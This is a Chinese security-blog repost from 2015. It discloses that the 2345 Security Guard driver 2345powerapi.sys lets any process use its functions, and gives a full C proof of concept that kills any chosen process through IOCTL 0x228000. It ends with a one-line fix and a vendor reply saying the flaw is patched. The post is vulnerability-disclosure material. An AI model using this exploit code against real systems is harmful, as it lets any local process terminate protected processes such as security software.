记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

2345安全卫士驱动存在设计问题

2015-04-02 04:25

2345安全卫士安装的2345powerapi.sys驱动程序,不会校验打开其设备对象的进程。导致任意具有打开设备对象权限的进程,都能使用其驱动中的功能。既然叫powerapi一定是很好很强大。我就试了一个关闭任意进程。其他的未测试。
 


//

#include <Windows.h>

#define CONTROLCODE1 0x228000

HANDLE OpenDevice(TCHAR *devName)
{
HANDLE hDev = CreateFile(devName,
GENERIC_ALL,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
return hDev;
}

void CloseDevice(HANDLE hDev)
{
CloseHandle(hDev);
}

int SendMessageToDev(HANDLE hDev, DWORD dwIoControlCode, BYTE *inBuffer, DWORD inBufferSize, BYTE *outBuffer, DWORD outBufferSize)
{
DWORD outLength;
BOOL ret = DeviceIoControl(hDev, dwIoControlCode, inBuffer, inBufferSize, outBuffer, outBufferSize, &outLength, NULL);
if (ret)
return outLength;
else
return -1;
}

void Poc()
{
HANDLE hDev = OpenDevice(_T("\\\\.\\2345PowerApi"));
if (hDev == INVALID_HANDLE_VALUE) {
printf("[-] Open device failed!gle:%d\n", GetLastError());
return;
}
DWORD pid = 4;
printf("Input pid:\n\t");
scanf_s("%d", &pid);
int ret = SendMessageToDev(hDev, CONTROLCODE1, (BYTE *)&pid, 4, NULL, 0);
if (ret < 0) {
printf("[-]Control device failed, gle:%d.\n", GetLastError());
return;
}
CloseDevice(hDev);
printf("[*]Ok!\n");
return;
}

int _tmain(int argc, _TCHAR* argv[])
{
Poc();
return 0;
}

 

解决方案:

严格限制能使用本驱动的进程

知识来源: www.2cto.com/Article/201504/387036.html

阅读:78263 | 评论:1 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“2345安全卫士驱动存在设计问题”共有1条留言

  1. 2345安全卫士 @2015-04-03 08:57 回复

    这个驱动安全问题已经解决了,可以下载最新版2345安全卫士来解决,下载地址:
    http://www.2345union.com/tags-2345safe.html

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云

本页关键词